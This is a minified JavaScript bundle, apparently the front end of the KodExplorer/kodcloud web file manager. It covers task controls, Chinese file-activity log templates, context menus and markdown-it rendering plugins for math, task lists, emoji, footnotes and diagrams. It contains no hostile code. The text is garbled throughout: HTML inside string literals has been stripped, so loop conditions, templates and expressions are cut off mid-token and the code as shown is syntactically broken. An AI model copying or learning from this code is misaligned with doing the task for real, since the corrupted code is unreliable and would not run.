t=$(this).attr("data-action"),i=$(this).parents(".list-item").attr("data-id");switch(t){case"stop":n.model.stop({"id":i},n.reloadView);break;case"start":n.model.start({"id":i},n.reloadView);break;case"kill":$.dialog.confirm(LNG["common.task.removeTips"],function(){n.model.kill({"id":i},n.reloadView)});break;case"killAll":$.dialog.confirm(LNG["common.task.killAllTips"],function(){n.model.killAll(!1,n.reloadView)})}})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=i(13);t["default"]={"dataParseMain":function(e,t){for(var i=[],n=0;n"+a.length+LNG["common.item"]+"
    "):r+="
    "+i+"
    ")}),r&&4'+r+'
    \n\t\t\t\t\t\t\t
    '+LNG["common.showMore"]+'
    \n\t\t\t\t\t\t\t"),{"title":this.dataParseHtmlItem(n[0],e,a),"content":r}}},"dataParseHtmlItem":function(e,t,i){if(_.includes(e,"{{file}}")){var n=t.sourceInfo||t.desc.name||t.pathName||""+LNG["common.deleteEnd"]+LNG["common.file"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{file}}/g,a)}if(_.includes(e,"{{parent}}")){n=t.parentInfo||""+LNG["common.deleteEnd"]+LNG["common.folder"]+"",a=this.makeHtmlFile(n);e=e.replace(/{{parent}}/g,a)}if(_.includes(e,"{{count}}")){a=''+i.length+"";e=e.replace(/{{count}}/g,a)}if(_.includes(e,"{{desc.from}}")){n=t.desc.from||t.desc.fromName||LNG["common.unknow"];if(_.isString(t.desc.from))a=htmlEncode(t.desc.from);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.from}}/g,a)}if(_.includes(e,"{{desc.to}}")){n=t.desc.to||t.desc.toName||LNG["common.unknow"];if(_.isString(t.desc.to))a=htmlEncode(t.desc.to);else a=this.makeHtmlFile(n);e=e.replace(/{{desc\.to}}/g,a)}if(_.includes(e,"{{desc.sourceID}}")){n=t.desc.name||t.desc.sourceID,a=this.makeHtmlFile(n);e=e.replace(/{{desc\.sourceID}}/g,a)}if(_.includes(e,"{{desc.content}}")){var r=_.get(t,"desc.content")||_.get(t,"desc.name");if(!r)return"";a=''+htmlEncode(r)+"";e=e.replace(/{{desc\.content}}/g,a)}return e=this.descEditEventParse(t,e)},"descEditEventParse":function(e,t){if("edit"!=e.type)return t;if(!_.get(e,"desc.ua"))return t;var i=" ";(_.includes(G.lang,"zh")||_.includes(G.lang,"ja")||_.includes(G.lang,"ko"))&&(i="");var n=e.desc,a=LNG["common.online"];return n.ua=n.ua.toLowerCase(),n.action=n.action.toLowerCase(),_.includes(n.action,"plugin.webdav")&&(a="webdav"),_.includes(n.ua,", kodcloud")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.toolbar.client"]),a=a+i+LNG["common.edit"],_.includes(n.action,"pathpast")&&(a=LNG["explorer.past"]+i+LNG["common.cover"]),"explorer.history.rollback"==n.action.toLowerCase()&&(a=LNG["explorer.history.changeEvent"]),_.includes(n.ua,"mozilla/")&&_.includes(n.action,"fileupload")&&(a=LNG["explorer.history.uploadNew"]),t+'('+a+")"},"makeHtmlFile":function(e){if(!e||_.isString(e))return'['+(e||"")+"]";var t=htmlEncode(e.pathDisplay||e.name),i=htmlEncode(e.name);return"\n\t\t\t'+(0,n.pathIcon)(e)+'\n '+i+"\n "}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]={"descMap":function(){var i={"create-mkdir":"新建了该文件夹","create-mkfile":"新建了该文件","create-upload":"上传了该文件","create-copy":"粘贴创建了该文件","create-mkdir-current":"在此新建了文件夹{{file}}","create-mkfile-current":"在此新建了文件{{file}}","create-upload-current":"在此上传了{{file}}","create-copy-current":"粘贴了{{file}}到此处","create-mkdir-item":"在{{parent}}新建了文件夹{{file}}","create-mkfile-item":"在{{parent}}新建了文件{{file}}","create-upload-item":"在{{parent}}上传了{{file}}","create-copy-item":"粘贴{{file}}到{{parent}}","create-mkdir-more":["在此新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more":["在此新建了{{count}}个文件","{{file}}",1],"create-upload-more":["在此上传了上传了{{count}}个文件","{{file}}",1],"create-copy-more":["粘贴了{{count}}个文件到此处","{{file}}",1],"create-mkdir-more-at":["在{{parent}}新建了{{count}}个文件夹","{{file}}",1],"create-mkfile-more-at":["在{{parent}}新建了{{count}}个文件","{{file}}",1],"create-upload-more-at":["在{{parent}}上传了{{count}}个文件","{{file}}",1],"create-copy-more-at":["粘贴了{{count}}个文档到{{parent}}","{{file}}",1],"edit":"编辑更新了该文件","edit-item":"编辑更新了{{file}}","edit-more":"编辑更新了该文件{{count}}次","edit-more-at":["在{{parent}}编辑更新了{{count}}个文件","{{file}}",1],"move":"将该文档从{{desc.from}}移动到{{desc.to}}","move-item":"将{{file}}从{{desc.from}}移动到{{desc.to}}","move-current":"将{{file}}从{{desc.from}}移动到此处","move-more":["移动了{{count}}个文档","将{{file}}从{{desc.from}}移动到{{desc.to}}",1],"moveOut":"从此处移走了{{desc.sourceID}}","moveOut-item":"从{{file}}移走了{{desc.sourceID}}","moveOut-more":["移走了{{count}}个文档","从{{file}}移走了{{desc.sourceID}}",1],"share-shareLinkAdd":"将该文档创建了外链分享","share-shareLinkAdd-item":"将{{file}}创建了外链分享","share-shareLinkAdd-more":["创建了{{count}}个外链分享","{{file}}",1],"share-shareToAdd":"将该文档开启了协作分享","share-shareToAdd-item":"将{{file}}开启了协作分享","share-shareToAdd-more":["创建了{{count}}个协作分享","{{file}}",1],"share-shareLinkRemove":"关闭了该文档的外链分享","share-shareLinkRemove-item":"关闭了{{file}}的外链分享","share-shareLinkRemove-more":["关闭{{count}}个外链分享","{{file}}",1],"share-shareToRemove":"关闭了该文档的协作分享","share-shareToRemove-item":"关闭了{{file}}的协作分享","share-shareToRemove-more":["关闭{{count}}个协作分享","{{file}}",1],"share-shareEdit":"编辑了该文档的分享","share-shareEdit-item":"编辑了{{file}}的分享","share-shareEdit-more":["编辑了{{count}}个文档分享","{{file}}",1],"rename":["重命名了该文档","{{desc.from}}{{desc.to}}"],"rename-item":["重命名了{{file}}","{{desc.from}}{{desc.to}}"],"rename-more":["重命名了{{count}}个文档","{{file}}:{{desc.from}}{{desc.to}}",1],"recycle-toRecycle":"将该文档移到了回收站","recycle-toRecycle-current":"在此处将{{file}}移到了回收站","recycle-toRecycle-item":"在{{parent}}将{{file}}移到了回收站","recycle-toRecycle-more":["将{{count}}个文档移到了回收站","{{file}}",1],"recycle-toRecycle-more-at":["在{{parent}}将{{count}}个文档移到了回收站","{{file}}",1],"recycle-restore":"将该文档从回收站还原","recycle-restore-item":"将{{file}}从回收站还原","recycle-restore-more":["将{{count}}个文档从回收站还原","{{file}}",1],"remove":"删除了{{desc.content}}","remove-current":"在此处删除了{{desc.content}}","remove-more":["在此处删除了{{count}}个文档","{{desc.content}}",1],"remove-item":"在{{parent}}删除了{{desc.content}}","remove-more-at":["在{{parent}}删除了{{count}}个文档","{{desc.content}}",1],"addDesc":["修改了该文档描述","{{desc.content}}"],"addDesc-item":["修改了{{file}}文档描述","{{desc.content}}"],"addDesc-more":["修改了{{count}}个文档描述","{{file}}{{desc.content}}",1],"addComment":["在该文档发表了评论","{{desc.content}}"],"addComment-item":["在{{file}}发表了评论","{{desc.content}}",1],"addComment-more":["在{{file}}发表了{{count}}条评论","{{file}}{{desc.content}}",1]},n={"create-mkdir":"新建文件夹","create-mkfile":"新建文件","create-upload":"上传文件","create-copy":"粘贴文件","edit":"更新文件","move":"移动文件","moveOut":"移走文件","share-shareLinkAdd":"创建了外链分享","share-shareToAdd":"开启了协作分享","share-shareLinkRemove":"关闭的外链分享","share-shareToRemove":"关闭协作分享","share-shareEdit":"编辑分享","rename":"重命名","recycle-toRecycle":"移到回收站","recycle-restore":"从回收站还原","remove":"删除","addDesc":"修改描述","addComment":"发表评论"};return this._each(i,function(e,t){if(_.isString(e)&&(i[t]=this.lang("log-event-"+t,e)),_.isArray(e)){i[t][0]=this.lang("log-event-"+t,e[0]);_.includes(["move-more","moveOut-more"],t)&&(i[t][1]=this.lang("log-event-"+t+"-desc",e[1]))}}),this._each(n,function(e,t){n[t]=LNG["log-type-"+t]}),{"map":i,"descTitle":n}}}},function(e,t,i){"use strict";var r=i(0);e.exports=function(e){e=e||{};var i="",t=r.$each,n=e.pathInfo,a=(e.item,e.index,r.$escape);return i+=''}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=function a(e){return e&&e.__esModule?e:{"default":e}}(i(167));t["default"]=n["default"].extend({"init":function(){this.$el=this.$root,this.$main=this.$(".ztree"),this.initChildren(),this.bindDrag(),this.drop.initDragParent=_.bind(this.initDragTreeParent,this)},"bindDrag":function(){this.$main.drag({"delegate":"a.tree-node","mustMove":!0,"cursor":"default","start":_.bind(this.dragStart,this),"move":_.bind(this.dragMove,this),"end":_.bind(this.dragEnd,this)})},"getSelect":function(e){this.$select=$();var t=this,i=$.targetParent(e,".tree-node"),n=i.data("treeNode");if(i&&n){var a=this.root.tree,r=this.root.pathAction;a.triggerEventStop(),a.zTree.selectNode(n),$(document).one("mouseup",function(){t._delay(function(){a.triggerEventStart()},10)}),r.auth.canCopyCute(i)&&(i.data("fileItem",n),this.$select=i)}},"fileDragRender":function(e){var t=$.targetParent(e,".tree-node");this.$drag=$("\n\t\t\t
    \n\t\t\t\t
  • \n\t\t\t
    ").appendTo(t.parent()),this.$dragList=this.$select.clone(),this.$dragList.appendTo(this.$drag.find(".file-draging"))},"initDragTreeParent":function(){var e=this.$select.data("treeNode").getParentNode();this.drop.dragPath=e.path}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var r=c(i(5)),n=i(466),a=c(i(168)),o=c(i(467)),s=c(i(188)),l=c(i(470));function c(e){return e&&e.__esModule?e:{"default":e}}t["default"]=ClassBase.extend({"init":function(e){this.menuItems=(0,a["default"])(),this.menuList=(0,n.menuList)(),this.menuTypeOption=n.menuTypeOption,this._delay(function(){this.root.trigger("rightMenu.initBefore",this),this.triggerPlugins=new s["default"]({"parent":this}),this.initAll(),e.disableToolbar||(this.toolbarMenu=new o["default"]({"parent":this}))})},"initAll":function(){this.bindEvent(),this.bindNotify(),this.bindExplorer(),this.setListType(),this.setListSort(),this.setIconSize(),this.hotkey=new l["default"]({"parent":this})},"targetData":function(e){var t=this.root.pathAction;e.$target.hasClass("tree-node")&&(t=this.root.tree.treeAction);var i=t.makeParamSelect();return _.isEmpty(i)?{}:i[0]},"bindEvent":function(){var e=this.root.$(".frame-main");e.exists()||(e=this.$el),$('
    \n\t\t\t
    ').appendTo(e),this.$menuTarget=e.find(".rightmenu-target"),this.$menuAt=e.find(".rightmenu-content-list"),this.$menuAt.delegate(".context-menu-list","click",function(e){return stopPP(e)});var t=[".file-continer .file .item-menu",".ztree .tree-node .menu-item",".menu-left-click",".menu-trigger",".menu-toolbar-button"].join(",");$.contextMenu.clickBind(this.$root,t);var i=this,n=function n(e,t){i.root.rootAppSelf(t.$target)&&(i.trigger(e,t,i),i.trigger(e+"@"+t.menuType,t,i))};Events.bind("rightMenu.beforeShow",function(e){n("rightMenu.beforeShow",e)},this),Events.bind("rightMenu.beforeHide",function(e){n("rightMenu.beforeHide",e)},this)},"bindNotify":function(){this.listenTo(this.root.select,{"select.change":function(e,t){if(0!=t.length&&(t.filter("[data-menu-more]").each(function(){$(this).removeClass($(this).attr("data-menu-more")),$(this).addClass($(this).attr("data-menu"))}),1').appendTo(this.$menuTarget);var n=function n(e){_.each(e,function(e,t){"object"==(void 0===e?"undefined":(0,r["default"])(e))&&(e.className=(e.className||"")+" "+t,e.icon=(e.icon||"")+" small",e.items&&n(e.items))})};n(t);var a={"zIndex":9999,"selector":this.$root.selector+" ."+e,"callback":i||_.bind(this.menuCallback,this),"className":e+" animated","appendTo":this.$menuAt,"items":t};t&&!$.isEmptyObject(t)||(a.items={"":{}}),$.contextMenu(a)},"menuItemsParse":function(e,t){t=void 0===t?{}:t;var i=this.menuItems;if(_.isString(e))return _.get(i,e);for(var n=0;n=t["bigx"]-5?"bigx":"default";for(var a in t){var r=t[a];if(r-5<=i&&i<=r+5){n=a;break}}var o=this.$root.find(".set-icon-size-item");o.removeClass("selected"),o.filter(".icon-size-"+n).addClass("selected")},"onRemove":function(){$(this.$menuAt).children().each(function(){var e=$(this).data("contextMenu");e&&$.contextMenu("destroy",e.selector),$(this).remove()})}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=ClassBase.extend({"init":function(){this.listenTo(this.parent,["rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-file","rightMenu.beforeShow@.menu-path-mini-file","rightMenu.beforeShow@.menu-simple-file","rightMenu.beforeShow@.menu-fav-path-file","rightMenu.beforeShow@.menu-share-root-file"].join(" "),this.menuFileShow),this.menuShareBind(),this.adminBindOpenWith()},"menuFileShow":function(e){var t=this.parent.targetData(e);this.imageBackgroundCheck(e,t),this.menuOpenWith(e,t)},"menuShareBind":function(){var n=this;this.listenTo(this.parent,"rightMenu.beforeShow@.menu-share-path",function(e){var t=n.parent.targetData(e),i=e.$menu.find(".share-open-window");"1"==_.get(t,"sourceInfo.shareInfo.isLink")?i.removeClass("disabled"):i.addClass("disabled")},this)},"hideClass":"hidden","imageBackgroundCheck":function(e,t){var i=e.$menu.find(".set-background");_.includes(["jpg","jpeg","png"],t.ext)?i.removeClass(this.hideClass):i.addClass(this.hideClass)},"menuOpenWith":function(e,t){var i=e.$menu.find(".open-with.context-menu-submenu");if(kodApp.getApp(t.ext)){var n=this.getAppMenu(t);this.root.pathAction.auth.canRead(e.$target)||(n.download&&(n.download.className+=" disabled disable"),n.browserOpen&&(n.browserOpen.className+=" disabled disable")),i.removeClass(this.hideClass),i.find(".context-menu-item").not(".open-with-first").remove(),$.contextMenu.menuAdd(n,e,".open-with-first")}else i.addClass(this.hideClass)},"adminBindOpenWith":function(){if(this.userModel.isRoot()){var r=this,e=["rightMenu.beforeShow@.menu-path-guest-folder","rightMenu.beforeShow@.menu-path-guest-file","rightMenu.beforeShow@.menu-path-guest-folder-tree","rightMenu.beforeShow@.menu-path-guest-file-tree"].join(" ");this.listenTo(this.parent,e,function(e){var t=r.parent.targetData(e),n=_.get(G,"kod.WEB_ROOT"),a=t.path||"";if(e.$menu.find(".adminOpenWith").remove(),n&&0==a.indexOf(n)){var i={"app":"adminOpenWith","name":LNG["explorer.openIE"]+" (admin)","icon":"ri-compass-line-3","callback":function(e,t){var i=$.parseUrl().origin+"/";i+=a.substr(n.length),i=urlEncode(i).replace(/%3A/g,":").replace(/%2F/g,"/").replace(/%3F/g,"?"),window.open(i)}};$.contextMenu.menuAdd({"adminOpenWith":i},e,".open")}})}},"getAppMenu":function(n){var a=this.root.kodApp,e=a.getApp(n.ext)||[],t=a.getApp("")||[];e=_.concat(e,[{"name":""}],t);var r={};return this._each(e,function(i){if(""==i.name||i.hidden)return r["step-line"]="-------";r[i.name]={"app":i.name,"name":i.title,"className":i.className,"icon":i.icon,"callback":function(e,t){kodApp.$openTarget=t.$target,a.appCallback(n.path,n.ext,n.name,i)}}}),r}})},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,i){i(31),i(34),e.exports=i(74).f("iterator")},function(e,t,i){i(240),i(57),i(244),i(245),e.exports=i(1).Symbol},function(e,t,i){"use strict";function n(e){var t=H[e]=_(j[q]);return t._k=e,t}function a(e,t){O(e);for(var i,n=D(t=K(t)),a=0,r=n.length;aa;)d(H,t=i[a++])||t==G||t==p||n.push(t);return n}function l(e){for(var t,i=e===V,n=I(i?B:K(e)),a=[],r=0;n.length>r;)!d(H,t=n[r++])||i&&!d(V,t)||a.push(H[t]);return a}var c=i(3),d=i(18),h=i(11),u=i(8),f=i(78),p=i(55).KEY,w=i(19),m=i(49),x=i(30),v=i(37),g=i(4),b=i(74),C=i(75),D=i(241),y=i(114),O=i(12),k=i(9),K=i(20),M=i(56),T=i(33),_=i(58),A=i(242),S=i(243),L=i(10),N=i(27),E=S.f,$=L.f,I=A.f,j=c.Symbol,P=c.JSON,R=P&&P.stringify,q="prototype",G=g("_hidden"),F=g("toPrimitive"),z={}.propertyIsEnumerable,U=m("symbol-registry"),H=m("symbols"),B=m("op-symbols"),V=Object[q],Q="function"==typeof j,X=c.QObject,W=!X||!X[q]||!X[q].findChild,Y=h&&w(function(){return 7!=_($({},"a",{"get":function(){return $(this,"a",{"value":7}).a}})).a})?function(e,t,i){var n=E(V,t);n&&delete V[t],$(e,t,i),n&&e!==V&&$(V,t,n)}:$,Z=Q&&"symbol"==typeof j.iterator?function(e){return"symbol"==typeof e}:function(e){return e instanceof j},J=function(e,t,i){return e===V&&J(B,t,i),O(e),t=M(t,!0),O(i),d(H,t)?(i.enumerable?(d(e,G)&&e[G][t]&&(e[G][t]=!1),i=_(i,{"enumerable":T(0,!1)})):(d(e,G)||$(e,G,T(1,{})),e[G][t]=!0),Y(e,t,i)):$(e,t,i)};Q||(f((j=function(){if(this instanceof j)throw TypeError("Symbol is not a constructor!");var t=v(0te;)g(ee[te++]);for(var ie=N(g.store),ne=0;ie.length>ne;)C(ie[ne++]);u(u.S+u.F*!Q,"Symbol",{"for":function(e){return d(U,e+="")?U[e]:U[e]=j(e)},"keyFor":function(e){if(!Z(e))throw TypeError(e+" is not a symbol!");for(var t in U)if(U[t]===e)return t},"useSetter":function(){W=!0},"useSimple":function(){W=!1}}),u(u.S+u.F*!Q,"Object",{"create":function(e,t){return t===undefined?_(e):a(_(e),t)},"defineProperty":J,"defineProperties":a,"getOwnPropertyDescriptor":o,"getOwnPropertyNames":s,"getOwnPropertySymbols":l}),P&&u(u.S+u.F*(!Q||w(function(){var e=j();return"[null]"!=R([e])||"{}"!=R({"a":e})||"{}"!=R(Object(e))})),"JSON",{"stringify":function(e){for(var t,i,n=[e],a=1;ao;)r.call(e,n=a[o++])&&t.push(n);return t}},function(t,i,n){var a=n(20),r=n(112).f,o={}.toString,s="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];t.exports.f=function(t){return s&&"[object Window]"==o.call(t)?function(t){try{return r(t)}catch(e){return s.slice()}}(t):r(a(t))}},function(t,i,n){var a=n(42),r=n(33),o=n(20),s=n(56),l=n(18),c=n(77),d=Object.getOwnPropertyDescriptor;i.f=n(11)?d:function(t,i){if(t=o(t),i=s(i,!0),c)try{return d(t,i)}catch(e){}if(l(t,i))return r(!a.f.call(t,i),t[i])}},function(e,t,i){i(75)("asyncIterator")},function(e,t,i){i(75)("observable")},function(e,t,i){e.exports={"default":i(247),"__esModule":!0}},function(e,t,i){i(248);var n=i(1).Object;e.exports=function(e,t,i){return n.defineProperty(e,t,i)}},function(e,t,i){var n=i(8);n(n.S+n.F*!i(11),"Object",{"defineProperty":i(10).f})},function(e,t,i){i(250),e.exports=i(1).Object.keys},function(e,t,i){var n=i(38),a=i(27);i(113)("keys",function(){return function(e){return a(n(e))}})},function(e,t,i){e.exports={"default":i(252),"__esModule":!0}},function(e,t,i){var n=i(1),a=n.JSON||(n.JSON={"stringify":JSON.stringify});e.exports=function(e){return a.stringify.apply(a,arguments)}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=g(i(254)),a=g(i(255)),r=g(i(256)),o=g(i(257)),s=g(i(258)),l=g(i(259)),c=g(i(260)),d=g(i(261)),h=g(i(262)),u=g(i(263)),f=g(i(264)),p=(g(i(268)),g(i(269))),w=g(i(270)),m=g(i(272)),x=(g(i(276)),g(i(277))),v=g(i(279));function g(e){return e&&e.__esModule?e:{"default":e}}var b=[[n["default"],{}],[a["default"],{}],[r["default"],{"enabled":!0,"label":!0}],[o["default"],{}],[s["default"],{}],[d["default"],{}],[h["default"],{}],[u["default"],{}],[f["default"],{}],[p["default"],{}],[w["default"]],[m["default"],{"attrs":{"target":"_blank"}}],[x["default"]],[v["default"]]],C=(0,c["default"])();_.each(C,function(e){b.push([l["default"],e.type,e.parse])}),t["default"]=b},function(e,t,i){"use strict";function o(e,t){var i,n,a=e.posMax,r=!0,o=!0;return i=0/g,">").replace(/"/g,""").replace(/'/g,"'")}Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function d(e,t){t=t||{};var i=function i(e){t.displayMode=!1;try{return katex.renderToString(e,t)}catch(error){return t.throwOnError&&console.log(error),""+c(e)+""}},n=function n(e,t){return i(e[t].content)},a=function a(e){t.displayMode=!0;try{return"

    "+katex.renderToString(e,t)+"

    "}catch(error){return t.throwOnError&&console.log(error),"

    "+c(e)+"

    "}},r=function r(e,t){return a(e[t].content)+"\n"};e.inline.ruler.after("escape","math_inline",s),e.block.ruler.after("blockquote","math_block",l,{"alt":["paragraph","reference","blockquote","list"]}),e.renderer.rules.math_inline=n,e.renderer.rules.math_block=r}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(e){e.inline.ruler.before("emphasis","mark",function l(e,t){var i,n,a,r,o=e.pos,s=e.src.charCodeAt(o);if(t)return!1;if(61!==s)return!1;if(a=(n=e.scanDelims(e.pos,!0)).length,r=String.fromCharCode(s),a<2)return!1;for(a%2&&(e.push("text","",0).content=r,a--),i=0;i':0!==e.content.indexOf("[x] ")&&0!==e.content.indexOf("[X] ")||(i.content='');return i}(e,t)),e.children[1].content=e.children[1].content.slice(3),e.content=e.content.slice(3),s)if(l){e.children.pop();var i="task-item-"+Math.ceil(1e7*Math.random()-1e3);e.children[0].content=e.children[0].content.slice(0,-1)+' id="'+i+'">',e.children.push(function r(e,t,i){var n=new i("html_inline","",0);return n.content='",n.attrs=[{"for":t}],n}(e.content,i,t))}else e.children.unshift(function n(e){var t=new e("html_inline","",0);return t.content="",t}(t))}t.exports=function(e,t){t&&(c=!t.enabled,s=!!t.label,l=!!t.labelAfter),e.core.ruler.after("inline","github-task-lists",function(e){for(var t,i,n=e.tokens,a=2;a?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,r=e.pos;if(126!==e.src.charCodeAt(r))return!1;if(t)return!1;if(a<=r+2)return!1;for(e.pos=r+1;e.pos?@[\]^_`{|}~-])/g;function n(e,t){var i,n,a=e.posMax,r=e.pos;if(94!==e.src.charCodeAt(r))return!1;if(t)return!1;if(a<=r+2)return!1;for(e.pos=r+1;e.pos
    ":'
    '+(''+n+"")}}}},function(e,t,i){"use strict";var n,a,r,o,s=c(i(16)),l=c(i(5));function c(e){return e&&e.__esModule?e:{"default":e}}o=function(){return function c(a,r,o){function s(i,e){if(!r[i]){if(!a[i]){if(l)return l(i,!0);var t=new Error("Cannot find module '"+i+"'");throw t.code="MODULE_NOT_FOUND",t}var n=r[i]={"exports":{}};a[i][0].call(n.exports,function(e){var t=a[i][1][e];return s(t||e)},n,n.exports,c,a,r,o)}return r[i].exports}for(var l=!1,e=0;e:(",">:-("],"blush":[':")',':-")'],"broken_heart":["^`|~",v=e.utils.lib.ucmicro.P.source,g=e.utils.lib.ucmicro.Z.source;e.block.ruler.before("reference","abbr_def",function h(e,t,i,n){var a,r,o,s,l,c=e.bMarks[t]+e.tShift[t],d=e.eMarks[t];if(d<=c+2)return!1;if(42!==e.src.charCodeAt(c++))return!1;if(91!==e.src.charCodeAt(c++))return!1;for(s=c;c"'=]/,a=[],r="",o="",s=!0,l=!1,c=t+i.leftDelimiter.length;c=a+1:e.length>=a}(e.substring(t,i+l.rightDelimiter.length))}},i.removeDelimiter=function(e,t){var i=o(t.leftDelimiter),n=o(t.rightDelimiter),a=new RegExp("[ \\n]?"+i+"[^"+i+n+"]+"+n+"$"),r=e.search(a);return-1!==r?e.slice(0,r):e},i.escapeRegExp=o,i.getMatchingOpeningToken=function(e,t){if("softbreak"===e[t].type)return!1;if(0===e[t].nesting)return e[t];for(var i=e[t].level,n=e[t].type.replace("_close","_open");0<=t;--t)if(e[t].type===n&&e[t].level===i)return e[t]};var n=/[&<>"]/,a=/[&<>"]/g,r={"&":"&","<":"<",">":">",'"':"""};function s(e){return r[e]}i.escapeHtml=function(e){return n.test(e)?e.replace(a,s):e}},{}]},{},[1])(1)},"object"===(0,u["default"])(t)&&void 0!==e?e.exports=o():(a=[],(r="function"==typeof(n=o)?n.apply(t,a):n)===undefined||(e.exports=r))},function(e,t,i){i(266),e.exports=i(1).Object.assign},function(e,t,i){var n=i(8);n(n.S+n.F,"Object",{"assign":i(267)})},function(e,t,i){"use strict";var u=i(27),f=i(76),p=i(42),w=i(38),m=i(59),a=Object.assign;e.exports=!a||i(19)(function(){var e={},t={},i=Symbol(),n="abcdefghijklmnopqrst";return e[i]=7,n.split("").forEach(function(e){t[e]=e}),7!=a({},e)[i]||Object.keys(a({},t)).join("")!=n})?function(e,t){for(var i=w(e),n=arguments.length,a=1,r=f.f,o=p.f;a'+o+""}function o(e,t,i){return(i.xhtmlOut?'
    \n':'
    \n')+'
    \n
      \n'}function s(){return"
    \n
    \n"}function h(e,t,i,n,a){var r=a.rules.footnote_anchor_name(e,t,i,n,a);return 0'}function u(){return"\n"}function p(e,t,i,n,a){var r=a.rules.footnote_anchor_name(e,t,i,n,a);return 0↩︎'}t.exports=function(e){var l=e.helpers.parseLinkLabel,x=e.utils.isSpace;e.renderer.rules.footnote_ref=r,e.renderer.rules.footnote_block_open=o,e.renderer.rules.footnote_block_close=s,e.renderer.rules.footnote_open=h,e.renderer.rules.footnote_close=u,e.renderer.rules.footnote_anchor=p,e.renderer.rules.footnote_caption=a,e.renderer.rules.footnote_anchor_name=n,e.block.ruler.before("reference","footnote_def",function v(e,t,i,n){var a,r,o,s,l,c,d,h,u,f,p,w=e.bMarks[t]+e.tShift[t],m=e.eMarks[t];if(m",e.delimiters.push({"marker":i.content,"jump":0,"token":e.tokens.length-1,"level":e.level,"end":-1,"open":!0,"close":!1});else{if(60!==r||45!==e.src.charCodeAt(a+1))return!1;e.scanDelims(e.pos,!0),(i=e.push("text","",0)).content="<-",e.delimiters.push({"marker":i.content,"jump":0,"token":e.tokens.length-1,"level":e.level,"end":-1,"open":!1,"close":!0})}return e.pos+=2,!0}),e.inline.ruler2.before("emphasis","centertext",function l(e){var t,i,n,a=!1,r=!1,o=e.delimiters,s=e.delimiters.length;for(t=0;t"===(i=o[t]).marker?a=!0:"<-"===i.marker&&(r=!0);if(a&&r)for(t=0;t"===(i=o[t]).marker?(a=!0,(n=e.tokens[i.token]).type="centertext_open",n.tag="div",n.nesting=1,n.markup="->",n.content="",n.attrs=[["class","text-align-center"]]):"<-"===i.marker&&a&&((n=e.tokens[i.token]).type="centertext_close",n.tag="div",n.nesting=-1,n.markup="<-",n.content="")})}},{}]},{},[1])(1)},"object"===(0,s["default"])(t)&&void 0!==e?e.exports=o():(a=[],(r="function"==typeof(n=o)?n.apply(t,a):n)===undefined||(e.exports=r))},function(t,i,n){"use strict";var O=function O(){},k=n(271);t.exports=function(t,i){t.inline.ruler.before("emphasis","image",function n(D,y){return function(t,i){var n,a,r,o,s,l,c,d,h,u,f,p,w="",m="",x="",v=t.pos,g=t.posMax;if(33!==t.src.charCodeAt(t.pos))return!1;if(91!==t.src.charCodeAt(t.pos+1))return!1;if(s=t.pos+2,(o=D.helpers.parseLinkLabel(t,t.pos+1,!1))<0)return!1;if((l=o+1)":"info","?>":"help","@>":"default"},a=function a(e,t){var i=e.src.substr(0,2);return!(t||!_.includes(_.keys(n),i))},r=function r(e,t){if(!a(e,t))return!1;if(2<=e.pos)return!1;var i=e.push("blockLabelOpen","blockLabel",0);return i.markup=e.src.substr(0,2),i.content="",i.nesting=1,e.pos+=2,!0},o=function o(e,t){if(!a(e,t))return!1;var i=e.tokens[0];return"?"==i.content&&"blockLabelOpen"!=i.type&&(i.content=""),e.push("blockLabelClose","blockLabel",-1),!0};e.inline.ruler.before("emphasis","blockLabel",r),e.inline.ruler2.before("emphasis","blockLabel",o),e.renderer.rules.blockLabelOpen=function(e,t){return'
    '},e.renderer.rules.blockLabelClose=function(e,t){return"
    "}}},function(t,i,n){"use strict";Object.defineProperty(i,"__esModule",{"value":!0}),i["default"]=function(t){t.renderer.rules.fence.bind(t.renderer.rules);var m=function m(t){return _.some(["sequenceDiagram","graph","gantt","statement","gitGraph","classDiagram","stateDiagram","stateDiagram-v2","pie","journey","erDiagram"],function(e){return _.startsWith(t,e)})},x=function x(e){return _.includes(e,"->>")?e:_.includes(e,"-)")?e:e=(e=(e=(e=(e=(e=(e=e.replace(/-\>/g,"->>").replace(/\<-/g,"-)")).replace("@startuml","").replace("@enduml","")).replace(/\nskinparam.*/g,"")).replace(/\nautonumber.*/g,"")).replace(/\nheader\s.*/g,"")).replace(/\nfooter\s.*/g,"")).replace(/\nnewpage\s.*/g,"")};t.renderer.rules.fence=function(t,i,n,a,r){var o=t[i],s=o.info,l=o.content;if(_.includes(["math","latex","katex"],s))try{return"

    "+(u=katex.renderToString(l))+"

    "}catch(e){}if(_.includes(["flowchart","flow"],s)){var c=UUID(),d=$("
    ").appendTo("body"),h={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{flowchart.parse(l).drawSVG(c,h);var u=d.html();return d.remove(),'
    '+u+"
    "}catch(e){d.remove(),console.info(e)}}if(_.includes(["abc","music"],s)){c=UUID(),d=$("
    ").appendTo("body"),h={"line-width":1.5,"font-color":"#333","line-color":"#666","element-color":"#666"};try{ABCJS.renderAbc(c,l);u=d.html();return d.remove(),'
    '+u+"
    "}catch(e){d.remove(),console.info(e)}}if(_.includes(["plantuml"],s)||_.startsWith(l,"@startuml"))return'
